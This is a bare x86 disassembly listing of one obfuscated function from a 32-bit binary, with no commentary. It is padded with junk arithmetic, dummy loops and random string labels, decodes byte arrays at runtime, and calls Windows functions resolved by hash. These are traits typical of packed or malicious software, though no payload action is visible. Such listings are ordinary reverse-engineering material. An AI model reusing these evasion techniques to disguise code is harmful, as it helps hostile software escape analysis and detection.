mov word [ebp - 0x49c], ax
mov dword [ebp - 0x18], 0x7ca0029b
mov dword [ebp - 0x1c], 7
mov dword [ebp - 0x24], ebx
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x18]
cmp dword [ebp - 0x1c], ebx
ja 0x10019d8c
cmp dword [ebp - 0x24], ebx
jne 0x10019d8c
mov edx, ebx
jmp 0x10019d8f
xor edx, edx
inc edx
mov eax, dword [ebp - 0x24]
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x18]
setne cl
sub eax, ecx
sub eax, dword [ebp - 0x18]
add eax, dword [ebp - 0x18]
je 0x10019dc9
lea eax, [ebp - 0x258]
mov dword [ebp - 0x258], 0xdc10
push eax
sub esp, 0xc
push 1
sub esp, 0xc
call fcn.100180f0
add esp, 0x20
jmp 0x10019deb
push 0x3533
push ebx
lea eax, [ebp - 0x4f]
mov byte [ebp - 0x4f], bl
push eax
push 0x1331
push ebx
mov edx, 0x485d
mov cl, 1
call fcn.10017dce
add esp, 0x14
xor eax, eax
inc eax
push eax
push 0x5cb7
mov dl, al
mov cl, al
call fcn.10017b5e
xor eax, eax
mov dword [ebp - 0x274], 7
pop ecx
pop ecx
mov word [ebp - 0x288], ax
lea ecx, [ebp - 0x288]
lea eax, [ebp - 0x4e8]
mov dword [ebp - 0x278], ebx
push eax
call fcn.10017447
push 0x13
pop ecx
mov byte [ebp - 4], 0x14
lea edi, [ebp - 0x4e8]
xor eax, eax
lea edx, [ebp - 0x22c]
rep stosd dword es:[edi], eax
push 0x4de6
lea ecx, [ebp - 0x23c]
stosw word es:[edi], ax
xor eax, eax
inc eax
mov dword [ebp - 0x23c], 0x1a049fe3
push eax
push 0x635f
push ecx
mov dword [ebp - 0x22c], 0x3d42374b
mov cl, al
push ebx
call fcn.10017dce
mov dword [ebp - 0x60], 0xe0648261
xor eax, eax
mov dword [ebp - 0x250], 0xf3d3
inc eax
mov dword [ebp - 0x25c], eax
add esp, 0x14
mov dword [ebp - 0x264], 0x9f4f9a02
mov dword [ebp - 0x254], 0x34e1054
mov dword [ebp - 0x24c], 0xfffffff7
mov dword [ebp - 0x60], ebx
cmp dword [ebp - 0x60], 7
jne 0x10019ee6
lea ecx, [ebp - 0x4d]
mov byte [ebp - 0x4d], bl
push ecx
push eax
push 0xaba
push 0x56f5
push eax
mov edx, 0x445
mov cl, al
call fcn.10017dce
add esp, 0x14
inc dword [ebp - 0x60]
cmp dword [ebp - 0x60], 7
push 1
pop eax
je 0x10019eb8
push 0x558f
push 0x3961
lea ecx, [ebp - 0x24c]
push ecx
push 0x640d
lea ecx, [ebp - 0x254]
push ecx
push eax
push ebx
lea ecx, [ebp - 0x25c]
push ecx
lea ecx, [ebp - 0x264]
push ecx
push eax
lea edx, [ebp - 0x60]
lea ecx, [ebp - 0x250]
call fcn.100183ef
add esp, 0x28
mov dword [ebp - 0x130], 0x6054a02
xor eax, eax
mov word [ebp - 0x12c], 0x70c
inc eax
mov dword [ebp - 0x129], 0xd0719e8
mov byte [ebp - 0x12a], al
mov ecx, ebx
push 0x36
mov byte [ebp - 0xf8], al
pop eax
push 2
mov dword [ebp - 0x125], 0x131e0903
mov dword [ebp - 0x121], 0x71c0f00
mov dword [ebp - 0x11d], 0x6021200
mov dword [ebp - 0x119], 0x15771075
mov dword [ebp - 0x115], 0xe4e2502
mov dword [ebp - 0x111], 0x141d2150
mov dword [ebp - 0x10d], 0xa041e72
mov dword [ebp - 0x109], 0x3001f7f
mov dword [ebp - 0x105], 0x2376167d
mov dword [ebp - 0x101], 0x1a761d70
mov dword [ebp - 0xfd], 0x11731b04
mov byte [ebp - 0xf9], 7
mov dword [ebp - 0xf7], 0x17700802
mov dword [ebp - 0xf3], 0x20060b73
mov dword [ebp - 0xef], 0x4091c7a
mov dword [ebp - 0xeb], 0x220d2409
mov dword [ebp - 0xe7], 0x6f1876
mov byte [ebp - 0xe3], 0x56
mov word [ebp - 0x494], ax
pop esi
mov dword [ebp - 0x1a0], ecx
cmp esi, 6
jne 0x1001a024
push 2
pop ecx
mov dword [ebp - 0x1a0], ecx
jmp 0x1001a078
movzx edx, byte [ebp + esi - 0x12f]
mov eax, esi
sub eax, ecx
movzx eax, byte [ebp + eax - 0x132]
movzx eax, word [ebp + eax*2 - 0x498]
mov ecx, eax
and eax, edx
or ecx, edx
sub ecx, eax
movzx eax, byte [ebp + esi - 0x130]
push ecx
push 0x1301
sub esp, 0xc
mov word [ebp + eax*2 - 0x498], cx
lea eax, [ebp - 0x1a0]
push ebx
push ecx
push eax
call fcn.100187f3
mov ecx, dword [ebp - 0x1a0]
add esp, 0x20
add esi, 2
cmp esi, 0x4e
jb 0x1001a014
xor eax, eax
mov dword [ebp - 0x28c], 7
mov word [ebp - 0x44c], ax
lea ecx, [ebp - 0x2a0]
mov word [ebp - 0x2a0], ax
lea eax, [ebp - 0x498]
push eax
mov dword [ebp - 0x290], ebx
call fcn.10017447
push ebx
push 0x16cb
mov dl, 1
mov byte [ebp - 4], 0x15
xor cl, cl
call fcn.10017b5e
pop ecx
pop ecx
push 0x13
xor eax, eax
lea edi, [ebp - 0x498]
pop ecx
rep stosd dword es:[edi], eax
xor ecx, ecx
inc ecx
stosw word es:[edi], ax
mov eax, 0xdada
mov dword [ebp - 0x80], eax
mov dword [ebp - 0x7c], eax
mov dword [ebp - 0x78], eax
mov dword [ebp - 0x74], eax
mov dword [ebp - 0x88], 0xffffffff
mov dword [ebp - 0x1c], 0xfffffff6
mov dword [ebp - 0x244], 0x8b24cec8
mov dword [ebp - 0x2d4], 0x6a4358b9
mov dword [ebp - 0x30], 8
mov dword [ebp - 0x24], 0x48d
mov dword [ebp - 0x2c], 0xfff6
mov dword [ebp - 0x14], ebx
jmp 0x1001a137
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x5c], 0x710dd013
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ecx
jl 0x1001a129
cmp dword [ebp - 0x80], ebx
jne 0x1001a14c
cmp dword [ebp - 0x80], 0xc10977a1
mov edx, ebx
je 0x1001a14e
mov edx, ecx
mov eax, dword [ebp - 0x74]
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x80]
sete cl
xor edx, edx
cmp eax, ecx
mov eax, dword [ebp - 0x74]
setge dl
xor ecx, ecx
sub edx, eax
mov eax, dword [ebp - 0x74]
cmp edx, 0x3c67
setle cl
xor edx, edx
add ecx, eax
mov eax, dword [ebp - 0x74]
mov esi, dword [ebp - 0x74]
cmp ecx, eax
setg dl
neg esi
sbb esi, esi
inc esi
sub esi, edx
neg esi
sbb esi, esi
xor ecx, ecx
inc esi
mov dword [ebp - 0x5c], esi
mov eax, dword [ebp - 0x74]
sub esi, eax
mov eax, dword [ebp - 0x74]
cmp eax, esi
setg cl
mov dword [ebp - 0x88], ecx
cmp dword [ebp - 0x7c], ebx
je 0x1001a40a
mov dword [ebp - 0x4c], 0x1f38
mov dword [ebp - 0x38], 0x6c93846f
mov dword [ebp - 0x20], ebx
mov dword [ebp - 0x14], ebx
dec dword [ebp - 0x4c]
jne 0x1001a1d6
cmp dword [ebp - 0x5c], ebx
jne 0x1001a1d6
xor edx, edx
mov esi, ebx
inc edx
jmp 0x1001a1db
xor edx, edx
inc edx
mov esi, edx
mov eax, dword [ebp - 0x38]
mov ecx, 0x1200be60
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x5c]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x38]
sub ecx, eax
jne 0x1001a1fb
cmp dword [ebp - 0x74], ebx
jne 0x1001a1fb
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x88], 2
mov eax, dword [ebp - 0x88]
imul eax, dword [ebp - 0x74]
add eax, 0x99ba
jne 0x1001a21d
mov ecx, ebx
cmp dword [ebp - 0x5c], ebx
je 0x1001a21f
mov ecx, edx
mov eax, dword [ebp - 0x74]
imul eax, ecx
xor ecx, ecx
cmp esi, eax
sete cl
xor eax, eax
cmp ecx, 0x7ff5
setne al
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x4c], ebx
jmp 0x1001a3fe
mov dword [ebp - 0x90], 0xfffffffc
mov dword [ebp - 0x64], 0xc0ed6d2
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x18], ebx
jmp 0x1001a26c
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x31c], 0xfffffffb
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edx
jl 0x1001a25b
mov dword [ebp - 0x18], ebx
jmp 0x1001a287
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x32c], 0x4a51e29a
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 4
jl 0x1001a276
dec dword [ebp - 0x90]
jne 0x1001a29f
mov edi, ebx
cmp dword [ebp - 0x90], ebx
je 0x1001a2a1
mov edi, edx
mov dword [ebp - 0x38], 0xfffffffa
mov edx, dword [ebp - 0x38]
mov eax, dword [ebp - 0x64]
dec edx
neg edx
sbb edx, edx
xor ecx, ecx
neg edx
cmp edx, eax
mov eax, 0xfff9
setg cl
cmp eax, ecx
sbb eax, eax
xor esi, esi
neg eax
inc esi
cmp esi, eax
mov eax, dword [ebp - 0x1c]
sbb edx, edx
xor ecx, ecx
neg edx
cmp edx, eax
setle cl
xor eax, eax
cmp edi, ecx
setne al
xor dl, dl
mov dword [ebp - 0x64], eax
mov eax, dword [ebp - 0x64]
mov dword [ebp - 0x5c], eax
lea eax, [ebp - 0x64]
push eax
push 0x69e1
call fcn.10017721
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x14], eax
pop ecx
pop ecx
cmp dword [ebp - 0x14], ebx
je 0x1001a332
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x90]
mov ecx, dword [ebp - 0x1c]
neg eax
sbb eax, eax
xor edx, edx
neg eax
add ecx, eax
mov eax, dword [ebp - 0x28]
cmp ecx, eax
setl dl
imul edx, dword [ebp - 0x14]
test edx, edx
je 0x1001a332
xor eax, eax
inc eax
jmp 0x1001a334
mov eax, ebx
xor ecx, ecx
cmp eax, 0xfc02
setne cl
xor eax, eax
test ecx, ecx
setns al
xor edx, edx
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x1c]
sub ecx, eax
mov eax, dword [ebp - 0x74]
cmp ecx, 0xf6c633f4
setne dl
xor ecx, ecx
cmp edx, eax
setg cl
inc dword [ebp - 0x320]
mov esi, dword [ebp - 0x320]
xor edx, edx
mov eax, dword [ebp - 0x4c]
cmp ecx, 0x3f29
setge dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x20]
setle cl
or edx, 0xffffffff
sub edx, ecx
sub edx, eax
mov dword [ebp - 0x64], edx
xor edx, edx
mov ecx, dword [ebp - 0x28]
mov eax, dword [ebp - 0x64]
cmp eax, ecx
setle dl
xor eax, eax
cmp esi, edx
setl al
xor ecx, ecx
cmp eax, 0x94fb
mov eax, 0x9ba6ce2c
setg cl
sub ecx, 0x33e7
cmp eax, ecx
mov eax, dword [ebp - 0x20]
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
setg cl
mov dword [ebp - 0x38], ecx
mov eax, dword [ebp - 0x38]
cmp eax, dword [ebp - 0x5c]
jle 0x1001a3e5
cmp dword [ebp - 0x244], ebx
je 0x1001a3e5
xor edx, edx
inc edx
mov ecx, edx
jmp 0x1001a3ea
xor edx, edx
mov ecx, ebx
inc edx
xor eax, eax
cmp ecx, 0x5e52
setl al
mov dword [ebp - 0x88], eax
inc dword [ebp - 0x4c]
cmp dword [ebp - 0x4c], 3
jle 0x1001a242
jmp 0x1001a468
mov dword [ebp - 0x24], 0xd54efe8f
mov dword [ebp - 0x30], ebx
cmp dword [ebp - 0x30], 3
jg 0x1001a468
xor edx, edx
inc edx
mov dword [ebp - 0x2d0], edx
mov dword [ebp - 0x2cc], edx
mov dword [ebp - 0x2c8], edx
mov dword [ebp - 0x2c4], edx
mov eax, dword [ebp - 0x30]
cmp dword [ebp + eax*4 - 0x80], ebx
jne 0x1001a468
mov eax, dword [ebp - 0x30]
xor ecx, ecx
mov dword [ebp + eax*4 - 0x80], 0x7c9a
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
cmp eax, edx
setge cl
mov dword [ebp - 0x2d0], ecx
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], 3
jle 0x1001a41d
mov dword [ebp - 0x1c], ebx
xor ecx, ecx
inc ecx
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x224], ebx
mov dword [ebp - 0x220], ebx
mov dword [ebp - 0x21c], ebx
mov dword [ebp - 0x218], ebx
mov dword [ebp - 0x20], 0xbc35240c
mov dword [ebp - 0x14], ebx
jmp 0x1001a4a2
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x1c4], ebx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jl 0x1001a495
mov dword [ebp - 0x1c0], 0x11
cmp dword [ebp - 0x1c0], 0x18
jge 0x1001a66e
jmp 0x1001a4c4
xor ecx, ecx
inc ecx
mov dword [ebp - 0x28], 0xae8c9f36
mov dword [ebp - 0x2c], 0xfffffffa
mov dword [ebp - 0x24], 0xffffffff
mov dword [ebp - 0x84], 0xffffffff
mov dword [ebp - 0x30], 0xfffffffb
mov dword [ebp - 0x14], ebx
jmp 0x1001a500
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x2c0], 4
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 3
jl 0x1001a4ef
push 0x589c
push 0x673a
push 0x5622
lea eax, [ebp - 0x84]
mov edx, 0x3787
push eax
push 0x480b
push ecx
push ecx
push 0x1bb6
push 0xc60
push ecx
lea ecx, [edx + 0x3a]
call fcn.100183ef
mov eax, dword [ebp - 0x2bc]
xor edx, edx
mov dword [ebp - 0x1c], ebx
add esp, 0x28
mov ecx, dword [ebp - 0x84]
mov eax, dword [ebp - 0x1c]
cmp eax, ecx
mov eax, dword [ebp - 0x20]
setg dl
xor ecx, ecx
cmp edx, eax
sete cl
xor edx, edx
mov dword [ebp - 0x20], ecx
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x218]
cmp ecx, eax
mov eax, dword [ebp - 0x224]
setl dl
xor ecx, ecx
add edx, 0xffff0003
cmp eax, edx
mov eax, dword [ebp - 0x1c0]
setle cl
mov dword [ebp - 0x2c], ecx
xor ecx, ecx
cmp dword [ebp - 0x2c], eax
sete cl
xor edx, edx
mov dword [ebp - 0x24], ecx
mov eax, dword [ebp - 0x24]
dec eax
mov dword [ebp - 0x224], eax
sete dl
mov dword [ebp - 0x2c0], eax
mov eax, dword [ebp - 0x28]
xor ecx, ecx
cmp edx, eax
mov eax, 0xc4aee507
setg cl
cmp eax, ecx
sbb eax, eax
neg eax
cmp eax, 0xfffffff6
jge 0x1001a5e8
push ecx
push ecx
push 0x556f
push ebx
push ecx
mov edx, 0x48e4
mov byte [ebp - 0x4e], bl
lea ecx, [ebp - 0x4e]
call fcn.1001881a
add esp, 0x14
jmp 0x1001a65b
mov dword [ebp - 0x2c], 1
cmp dword [ebp - 0x2c], ebx
jne 0x1001a66e
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x84]
neg eax
sbb eax, eax
xor ecx, ecx
neg eax
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
cmp eax, 0x605dd88b
mov eax, dword [ebp - 0x84]
setne cl
xor edx, edx
cmp eax, ecx
mov eax, dword [ebp - 0x224]
setge dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x20]
setge cl
xor edx, edx
cmp eax, ecx
setl dl
mov dword [ebp - 0x224], edx
mov dword [ebp - 0x2bc], edx
test edx, edx
jne 0x1001a655
cmp dword [ebp - 0x30], ebx
jne 0x1001a655
cmp dword [ebp - 0x18], ebx
jne 0x1001a655
mov eax, ebx
jmp 0x1001a658
xor eax, eax
inc eax
mov dword [ebp - 0x2c], eax
inc dword [ebp - 0x1c0]
cmp dword [ebp - 0x1c0], 0x18
jl 0x1001a4c1
cmp dword [ebp - 0x274], 8
lea ecx, [ebp - 0x388]
push ecx
lea eax, [ebp - 0x288]
mov esi, 0xff61
cmovae eax, dword [ebp - 0x288]
push eax
push 0xd711
push esi
call fcn.1003319e
pop ecx
pop ecx
call eax
test eax, eax
jne 0x1001b200
cmp dword [ebp - 0x28c], 8
lea ecx, [ebp - 0x378]
push ecx
lea eax, [ebp - 0x2a0]
cmovae eax, dword [ebp - 0x2a0]
push eax
push 0xd711
push esi
call fcn.1003319e
pop ecx
pop ecx
call eax
test eax, eax
jne 0x1001b200
mov dword [ebp - 0x20], 0x79aa
cmp dword [ebp - 0x20], 0x7a0a
mov dword [ebp - 0x18], str.lohjv_kacyees_hlsv_umaoysw_iuj_vrlqnh_jwgbosqo_iiqinq_oftiymj_wgklnwkx_ozsqwec
jle 0x1001a737
mov edi, ebx
mov dword [ebp - 0x28], ebx
mov esi, ebx
mov dword [ebp - 0x24], ebx
mov eax, edi
cdq
idiv esi
mov esi, 0x25e1
mov edi, edx
mov eax, edi
mov ecx, 0x10075c58
cdq
push edx
push eax
call fcn.1000ed7e
inc edi
dec esi
jne 0x1001a706
mov esi, dword [ebp - 0x24]
mov edi, dword [ebp - 0x28]
inc esi
mov dword [ebp - 0x24], esi
cmp esi, 0x3123
jl 0x1001a6fa
inc edi
mov dword [ebp - 0x28], edi
cmp edi, 0x716
jl 0x1001a6f5
lea eax, [ebp - 0x40]
push eax
lea eax, [ebp - 0x388]
push eax
push 3
push ebx
lea eax, [ebp - 0x378]
push eax
push 0xd711
push 0x13521
call fcn.1003319e
pop ecx
pop ecx
call eax
test eax, eax
js 0x1001b1c1
cmp dword [ebp - 0x40], 0
je 0x1001b1c1
lea eax, [ebp - 0x368]
mov dl, 1
push eax
push ecx
push ecx
mov ecx, 0x18d8
call fcn.100186d0
mov dword [ebp - 0x24], 0x26b0
add esp, 0xc
cmp dword [ebp - 0x24], 0x2797
jle 0x1001a7f3
mov eax, ebx
mov dword [ebp - 0x1c], ebx
mov edi, ebx
mov esi, ebx
add eax, edi
lea ecx, [ebp - 0x448]
xor eax, esi
cdq
push edx
push eax
call fcn.10001af4
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x1001a7be
mov eax, dword [eax]
push eax
call fcn.1004677c
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x448]
call fcn.1000f813
mov eax, dword [ebp - 0x1c]
inc esi
cmp esi, 0x4f3d
jl 0x1001a7a2
inc edi
cmp edi, 0x5b34
jl 0x1001a7a0
inc eax
mov dword [ebp - 0x1c], eax
cmp eax, 0x4686
jl 0x1001a79e
xor eax, eax
cmp dword [ebp - 0x24], 0x2402
mov word [ebp - 0x360], ax
jge 0x1001a810
push str.bxlp_ktyffxxi_aqk_blezgwr_cmxca_zgholyjw_boaemhexz_xdm_eyxiqxvby_risnkkj_ujvttrz_gekmn_qptixyaqi
call fcn.1004677c
pop ecx
mov dword [ebp - 4], 0x15
xor eax, eax
inc eax
mov byte [ebp - 0x6f], 0xeb
push 0x47
mov byte [ebp - 0x6e], al
mov cl, bl
mov byte [ebp - 0x6c], al
mov edi, ebx
pop eax
push 2
mov byte [ebp - 0x70], cl
mov byte [ebp - 0x6d], 0x68
mov word [ebp - 0x6b], 0x222
mov byte [ebp - 0x69], 0x11
mov word [ebp - 0x1ac], ax
pop esi
mov dword [ebp - 0x1c], esi
cmp esi, 8
jae 0x1001a95b
movzx eax, cl
lea eax, [eax*2 + 2]
cmp esi, eax
jne 0x1001a921
mov dword [ebp - 0x14], 0x440f
cmp dword [ebp - 0x14], 0x476b
jle 0x1001a8c7
mov esi, ebx
mov dword [ebp - 0x28], ebx
mov edi, ebx
mov dword [ebp - 0x24], ebx
mov ecx, edi
mov dword [ebp - 0x2c], esi
mov edi, esi
mov dword [ebp - 0x30], ebx
sar edi, cl
mov esi, ebx
mov eax, edi
mov ecx, 0x10075c58
xor eax, esi
cdq
push edx
push eax
call fcn.1000ed7e
inc esi
cmp esi, 0x1969
jl 0x1001a88c
mov edi, dword [ebp - 0x24]
mov esi, dword [ebp - 0x28]
inc edi
mov dword [ebp - 0x24], edi
cmp edi, 0x5530
jl 0x1001a87e
movzx edi, byte [ebp + esi - 0x70]
inc edi
mov byte [ebp - 4], 0x1a
cmp dword [ebp - 0x14], 0x41b8
mov dword [ebp - 0x2c], edi
jge 0x1001a910
mov edx, str.bgnyqch_hgtrre_clwslxvhg_bztddn_bnsdtz_cqrb_qtf_nuswbpx_vokegunol
mov ecx, 0x10075c58
call fcn.1001381a
jmp 0x1001a910
mov dword [ebp - 4], 0x15
movzx eax, byte [ebp + esi - 0x70]
dec esi
add esi, eax
jmp 0x1001a950
movzx edx, byte [ebp + esi - 0x6f]
mov eax, esi
sub eax, edi
mov edi, ebx
movzx eax, byte [ebp + eax - 0x72]
movzx ecx, word [ebp + eax*2 - 0x1ac]
mov eax, ecx
and eax, edx
add eax, eax
sub ecx, eax
movzx eax, byte [ebp + esi - 0x70]
add ecx, edx
mov word [ebp + eax*2 - 0x1ac], cx
mov cl, byte [ebp - 0x70]
add esi, 2
jmp 0x1001a846
xor eax, eax
mov dword [ebp - 0x1e8], 7
mov word [ebp - 0x1a6], ax
lea ecx, [ebp - 0x1fc]
mov word [ebp - 0x1fc], ax
lea eax, [ebp - 0x1ac]
push eax
mov dword [ebp - 0x1ec], ebx
call fcn.10017447
mov byte [ebp - 4], 0x1c
mov dword [ebp - 0x1ac], ebx
mov dword [ebp - 0x1a8], ebx
mov dword [ebp - 0x24], 0x6015
cmp dword [ebp - 0x24], 0x61b1
jle 0x1001aa00
mov ecx, ebx
mov dword [ebp - 0x14], ebx
mov edi, ebx
mov esi, ebx
mov dword [ebp - 0x1c], ebx
mov eax, esi
cdq
idiv dword [ebp - 0x1c]
lea eax, [edi + ecx]
mov ecx, 0x10075c58
and eax, edx
cdq
push edx
push eax
call fcn.1000ed7e
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x14]
inc eax
mov dword [ebp - 0x1c], eax
cmp eax, 0x306d
jl 0x1001a9b9
inc esi
cmp esi, 0x7161
jl 0x1001a9b6
inc edi
cmp edi, 0x1316
jl 0x1001a9b4
cmp dword [ebp - 0x1e8], 8
lea ecx, [ebp - 0x1fc]
mov eax, dword [ebp - 0x1ec]
cmovae ecx, dword [ebp - 0x1fc]
push dword [ebp + 0x10]
mov dword [ebp - 0x238], ebx
mov dword [ebp - 0x234], ebx
lea eax, [ecx + eax*2]
mov dword [ebp - 0x230], ebx
lea ecx, [ebp - 0x1fc]
cmovae ecx, dword [ebp - 0x1fc]
push eax
push ecx
lea ecx, [ebp - 0x238]
call fcn.1001bcec
mov byte [ebp - 4], 0x1e
cmp dword [ebp - 0x24], 0x5c44
jge 0x1001aa86
mov edx, str.nevi_gawdqhlks_oerwu_bdckog
mov ecx, 0x10075c58
call fcn.1001381a
jmp 0x1001aa86
mov esi, dword [ebp - 0x68]
lea ecx, [ebp - 0x238]
xor eax, eax
mov dword [ebp - 4], 0x1d
inc eax
push ebx
push ecx
mov dl, al
mov cl, al
call fcn.10017b5e
cmp dword [esi + 0x14], 8
pop ecx
pop ecx
jb 0x1001aab0
mov ecx, dword [esi]
jmp 0x1001aab2
mov ecx, esi
cmp dword [esi + 0x14], 8
mov eax, dword [esi + 0x10]
lea eax, [ecx + eax*2]
jb 0x1001aac0
mov byte [ebp - 4], 0x2e
cmp dword [ebp - 0x20], 0x7812
jge 0x1001b1f9
mov edx, dword [ebp - 0x18]
mov ecx, 0x10075c58
call fcn.1001381a
jmp 0x1001b1f9
mov dword [ebp - 4], 0x15
push 0xd711
push 0xf8a9
call fcn.1003319e
pop ecx
pop ecx
call eax
mov ecx, dword [ebp - 0x260]
lea eax, [ebp - 0x1e4]
push eax
call fcn.1001b416
push ebx
push 1
lea ecx, [ebp - 0x2a0]
call fcn.1000fb4b
push ebx
push 1
lea ecx, [ebp - 0x288]
call fcn.1000fb4b
lea ecx, [ebp - 0x1d8]
call fcn.1001b5cf
lea ecx, [ebp - 0x1e4]
call fcn.1001b64a
lea ecx, [ebp + 8]
call fcn.1001b5cf
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret